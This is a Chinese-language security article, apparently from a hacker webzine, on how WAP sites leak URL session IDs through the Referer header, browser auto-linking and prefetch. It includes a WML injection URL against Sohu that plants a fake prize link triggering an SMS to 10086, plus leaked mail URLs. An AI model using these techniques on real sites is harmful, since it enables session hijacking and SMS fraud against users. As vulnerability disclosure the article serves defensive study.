淺談WAP網站安全
By kxlzx
[摘要]
本文以國內一些知名WAP服務網站安全漏洞為例,淺淺的談一下關于WAP安全的一些想法。
推薦以下人群閱讀:
1. WAP開發人員
2. WAP產品設計人員
3. “網絡安全愛好者”
[正文]
這要從WEB網站的用戶認證說起,那時候我們還在用電腦。在WEB網站中,用戶的認證信
息,都存放在COOKIE中,一旦用戶登錄了,之后對于WEB網站的訪問,瀏覽器每次自動跟隨
請求發送出來。當手機剛開始上網,手機瀏覽器還沒有成熟,手機操作系統更加稚嫩,很多
手機瀏覽器都不認識COOKIE,當然也不支持JavaScript。WAP網站為了留住用戶,只好使用
在WEB網站中非常老土的認證,在頁面所有的URL連接后,加入一串SID作為下一個頁面的默
認參數,當用戶瀏覽一次后,就跟在用戶頁面上所有的連接后,URL就會變得像這樣:
http://wap.inbreak.net/default.php?sid=xxooxxooxxooxxoo
你可以嘗試用手機登錄163的WAP網站(wap.163.com),之后會看到所有的連接,都跟
了長長一串,這串中的SID參數,就是為了做認證的。黑客如果能猜到用戶登錄后那長長的
一串的內容,直接使用自己的瀏覽器訪問,就會變成網站的認證用戶了,當然靠猜是不現實
的。
WEB網站認證信息放在COOKIE時,黑客要用XSS取到COOKIE,其實是很麻煩的,后來有了
httponly,就更討厭了。現在WAP網站更變態,居然不支持JAVASCRIPT,那怎么才能攻擊其
他用戶呢?
0x01 友情鏈接安全問題
在http head中,有個字段叫referer(文末尾有參考鏈接),可以取到當前請求是從哪
一個URL過來的。
使用手機瀏覽器在訪問頁面:
http://wap.163.com/
時看到,頁面中有個友情鏈接指向:
http://wap.handbb.com/agent.jsp?f=00002910
于是我們點了這個鏈接。
這時瀏覽器會發送:
--code-------------------------------------------------------------------------
GET http://wap.handbb.com/agent.jsp?f=00002910 http1.1
Host:wap.handbb.com
Referer: http://wap.163.com/
-------------------------------------------------------------------------------
這個數據包給wap.handbb.com網站,在數據包中,有Referer字段。如果黑客能夠控制
wap.handbb.com,就可以輕易取到所有從wap.163.com網站用戶link過來的URL。取163的URL
做什么?
如果用戶登錄了,當前用戶瀏覽器上的URL就變成了:
http://wap.163.com/index.do?sid=wAsbVhmXXXXXXXATCu
有多少用戶會從163點友情鏈接過來,就有多少SID,被黑客拿到后,可以直接訪問,就
變成合法用戶了。有空我也去門戶網站做廣告。或者。。。據觀察,目前某些WAP網站風頭
很火,到處掛鏈接,如果把它。。。
0x02 用戶互動導致SID泄露
不要動不動黑來黑去,我是愛好世界和平的,有沒有不黑網站,就能取到SID的方法呢?
答案是肯定的!
有不少WAP網站已經慢慢發展了起來,形成了大型網站,也開出很多服務,比如論壇,
站內消息,郵箱。在WEB安全防御中,雖然做了很多防御,但是通常也是允許大家發廣告鏈
接的,所以站外鏈接這塊很少有防御,那如果我們能在論壇帖子內容中,插入:
--code-------------------------------------------------------------------------
<a href=“http://www.inbreak.net”>http://www.inbreak.net</a>
-------------------------------------------------------------------------------
出來,然后誘惑用戶點過去,就可以從我們自己的網站獲取用戶的SID了。最危險的莫
過于郵箱,比如QQ郵箱就很給力(目前已經修補)。首先給用戶發個郵件,內容中加入一
個link,具體“互動”內容就不用我說了,你懂得。
當用戶使用手機瀏覽器訪問QQ郵箱,打開郵件,會看到一個鏈接。
就是上圖中的“打開活動頁面”,只要用戶打開了,在我的服務器上,馬上獲得了這串URL:
--code-------------------------------------------------------------------------
2011-1-3 22:11:10-------------http://w34.mail.qq.com/cgi-bin/readmail?sid=
qMXXXXXXXXXXXXXXXXXXXXXM.&disptype=html&mailid=ZC2XXXXXXXXXXXXXXXXXXX11
&t=&conv=&p=&cmid=
-------------------------------------------------------------------------------
然后直接使用PC上的瀏覽器可以打開URL,會看到:
顯然已經登陸過了,這就通過了QQ登錄驗證。好,下面我們開始群發QQ郵件。。。(后
面被和諧了)
像這樣用在WEB網站的郵箱里,其實是個安全的應用,但是來到了WAP的領域,它居然變
成了漏洞。
0x03 UCWEB瀏覽器自動生成鏈接功能引起的SID泄露
上一個例子中,其實是在講QQ郵箱存在一個SID瀉露安全漏洞,QQ郵箱可以做防御,不
允許<a>標簽,只允許文本內容是個鏈接地址即可。當瀏覽器自己出現了一些安全問題,其
實也會導致SID被盜。
大家用智能手機么?有很多比較潮流的手機,閱讀短信時,如果短信中出現了URL:
http://www.inbreak.net
那就可以直接點連接打開瀏覽器訪問。這是很普遍的功能,很多短信息閱讀軟件,都自
帶這個功能。
但是這個特性,如果用在手機瀏覽器上,就悲劇了!
下載最新的手機瀏覽器“UCWEB7.4”,我使用的是android版。這個瀏覽器有個特性,當
頁面代碼為:
--code-------------------------------------------------------------------------
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN"
"http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
hacked by kxlzx
http://www.inbreak.net
-------------------------------------------------------------------------------
這是頁面源碼,本來顯示在瀏覽器上,是一段字符文本,因為鏈接中沒有<a>標簽。WML
和HTML標準都沒有讓它成為一個可以點擊的link,但是UCWEB卻會自動把它識別為一個鏈接。
這導致N多無辜受害者。
我們看看其中一個無辜受害者163郵箱。
163郵箱以及google郵箱相對QQ郵箱,在這里還是很安全的,如果在發送郵件時,出現
了鏈接代碼為:
--code-------------------------------------------------------------------------
<a href=http://www.inbreak.net>inbreak.net</a>
-------------------------------------------------------------------------------
它會自動使用自己的過濾模塊替換href部分,替換后結果為:
--code-------------------------------------------------------------------------
<div><a href="http://mproxy.youdao.com/proxy/jump?u=http%3A%2F%2Fwww.inbreak.net
&keyfrom=jumper.in&c=TRUE&j=1&mx">http://www.inbreak.net<br />
</a></div>
-------------------------------------------------------------------------------
這樣,打開URL后會由這個服務獲取inbreak.net這個網站內容,然后展示給用戶,于是
inbreak.net網站獲取到的referer就不再是當前的URL,而是中轉站服務發送的URL。這個
referer其實是沒有任何SID的。
這個163的功能其實本身不是為了安全,而是為了“給用戶省流量費”,因為直接訪問
HTML網站,會有大量的垃圾數據產生,所以先中轉過濾了一下,再還給用戶。
但是在163郵件中,如果發的不是一個<a>標簽的鏈接,而是單純的文本文字:
http://www.inbreak.net
再使用UCWEB訪問看看:
UCWEB仍然認為它是一個鏈接,可以直接click過去。點擊后,會看到我又抓到了SID!
無辜的163郵箱,就這樣悲劇了。
但是使用MiniOpera瀏覽器或android自帶瀏覽器訪問,都不會出現這個結果。它們認為
這只是一段文字,下圖是MiniOpera訪問的結果:
可以看到,這里顯示的那個鏈接是一個文本,不能直接點擊過去。我看到國內WAP網站
唯一對文本URL防御好的,就是qidian網站。這個網站防御方式猥瑣,為了和諧,不顧一切
的替換掉了”http://”后面的文本內容,當然,這不是一個好的解決方案。
0x04 QQ瀏覽器自動預讀功能引起的SID泄露
可能有讀者跑去給163發郵件推廣UCWEB了,別急啊,這兒有個更好玩的瀏覽器。在QQ手
機瀏覽器中有個功能,叫做“智能預讀”(手機QQ瀏覽器1.3(Android)),默認是開啟功能
的。下圖:
這個功能也是一個新型的業務,專門用于看新聞,看小說的,我們翻翻介紹:“智能預
讀:當您在瀏覽當前頁面時,瀏覽器后臺自動讀取下一個 頁面,讓您進入下一個頁面完全
沒有網絡延時”。我很喜歡這個功能,它可以在看新聞時,網速奇快。
在前文我們講到,如果我們能在頁面上定義一個鏈接,一旦用戶點擊,就可以竊取到
SID號。正是這種攻擊,在這里被發揮的淋漓盡致。
http://www.inbreak.net/?SID=XXXXXXX
這個URL打開后,可以看到如下頁面源碼:
--code-------------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN"
"http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html>
<body>
<a href="http://www.baidu.com">下頁</a>
</body>
</html>
-------------------------------------------------------------------------------
注意加粗的,只要代碼中的鏈接顯示名叫做“下頁”,抓包看看做了什么:
果然自動扔到baidu那邊去了,referer中帶著SID!真的智能啊!
前面打算發郵件的同學,快去改鏈接顯示名吧,居然還在想郵件“互動”內容么?你
out了,只要可以在用戶打開的頁面中,出現這個,就不需要用戶去點了,他只要看了郵件,
我們就有SID。
這個功能真的是漏洞么?
個人認為,在這么優秀的功能面前,神馬都是浮云。如果真的要用安全來限制,就在
referer中,去掉鏈接參數,或者直接干掉referer字段就可以了。
0x05 WML注入攻擊誘騙用戶發短信
在WAP服務中,并不是所有瀏覽器都支持Java Script,所以XSS漏洞就顯得非常低調
(當然遇到支持JS的瀏覽器,也并不是沒有用處,這里不談XSS),但是卻給了WML注入的機
會。這還是要從漏洞的利用價值談起,我們既然拿著手機在上網,利用漏洞的手段也應該回
歸真實環境。打電話、發短信是我們最常用的聯系功能,如果能讓用戶發短信過來,或許很
多黑心商家就可以收費了,很多短信服務,都是不小心發了個“A”到某號碼才扣費的。那
些國產的山寨機很多自帶這個服務,喜歡的朋友可以買來體驗下:)
搜狐的WAP服務存在這樣一個漏洞,看這個鏈接:
--code-------------------------------------------------------------------------
http://news.wap.sohu.com/user/index.php?op=getpwd1&backurl="/></go></anchor>
<a href="sms:10086?body=我是豬"><big>恭喜您隨機獲得1等獎!
點這里發送免費短信“我是豬”到10086,填寫中獎信息!</big></a><anchor>
<go href="aa"><postfield name="account"
value="&uID=-ByGdGpCsaolAAAA&uuid=1wgsb0c139aklAADA
-------------------------------------------------------------------------------
使用手機訪問:
比原來的頁面多了這樣一行鏈接,點“恭喜您隨機獲得1等獎!點這里發送免費短信
“我是豬”到10086,填寫中獎信息!”這段文字,手機瀏覽器會自動調用短信軟件,打開
短信發送頁面,誘惑用戶發送“免費”短信。
在短信鏈接中,設置為“sms:10086?body=我是豬”,默認短信內容就有了,用戶只要
方便的點擊“發送”即可。
0x06 短信接口漏洞利用
讓門戶網站官方發送的短信詐騙,可以參考我的另一篇文章,如果是某大型門戶網站給
用戶發條中獎和登錄的短信,一定會起到有趣的效果。
詳見附錄[2]。
0x07 新的業務,新的方向
我們最后不談安全,說下瀏覽器功能。在PC上,瀏覽器的功能,幾乎都已經固定了,市
場也早就被幾位大牛霸占。而wap瀏覽器卻剛剛開始發展,值得去研究下,它們會搞出來很
多奇奇怪怪的功能。并且在國內就這點最傻,喜歡山寨,看別人做了什么,自己趕快搞出來,
學個四不像不說,還很有可能把安全功能掐調,以后關注下說不定就有好玩的出來。
至于各個問題的解決方案,其實本文都已經提及了,就不做最后總結了。WAP安全才剛
剛起步,這里僅僅提及了個開頭,還有很有意思的等待大家發掘。我也在學習中,歡迎大家
互相交流。
0x08 附錄
[1] HTTP Referer http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.36
[2] 淺談短信接口安全 http://www.inbreak.net/?action=show&id=158
[3] 作者BLOG http://www.inbreak.net
感謝幻影WebZine
http://webzine.ph4nt0m.org/
空虛浪子心 QQ:4700012
郵箱 4700012#qq.com
附件下載
-EOF-
亚洲欧美在线